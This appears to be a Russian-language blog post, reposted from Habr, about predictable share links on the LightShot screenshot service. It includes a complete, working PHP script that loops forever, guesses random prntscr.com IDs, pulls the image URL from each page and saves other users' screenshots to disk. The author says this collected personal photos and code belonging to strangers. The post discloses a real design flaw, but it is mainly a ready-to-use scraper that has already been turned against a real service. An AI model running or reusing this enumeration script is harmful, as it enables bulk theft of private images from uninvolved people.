Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.
Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
Попробовав изменить одну букву в URL'e, мне любезно выдало чужой скриншот.
Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]
В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us
Меня терзало любопытство: «А можно ли скачать все скриншоты?»
И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.
<?php set_time_limit(0); // убираем ограничение по времени выполнения скрипта function random_string($length){ // функция генерации рандомной строки $chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем $numChars = strlen($chars); // Определяем длину $chars $string = ''; // задаем пустую переменную for ($i = 0; $i < $length; $i++) { // Собираем строку $string .= substr($chars, rand(1, $numChars) - 1, 1); } return $string; // Возвращаем готовую строку } while (1) { $randstring = random_string(5); // генерируем рандомную сроку $htmldata = file_get_contents('http://prntscr.com/1'.$randstring); // подставляем рандомную строку и получаем код страницы preg_match_all('/<meta name=\"twitter:image:src\" content=\"(.*?)\"\/>/is',$htmldata,$img_url); // парсим регуляркой url картинки if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть $localname = array_pop(explode('/',$img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png) $localpath = "./images/".$localname; // определяем куда будет сохраняться картинка локально. у меня заранее создана папка images file_put_contents($localpath, file_get_contents($img_url[1][0])); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее echo "<span style='color: green; display: block; margin-bottom: 50px;'>Сохранение - ".$localname." , url - http://prntscr.com/1".$randstring." , скачиваем с ".$img_url[1][0]."</span>"; } else { echo "<span style='color: red; display: block; margin-bottom: 50px;'>По адресу http://prntscr.com/1".$randstring." нет картинки</span>"; } } ?>
Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)
В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.
ссылка на оригинал статьи http://habrahabr.ru/post/197228/
Добавить комментарий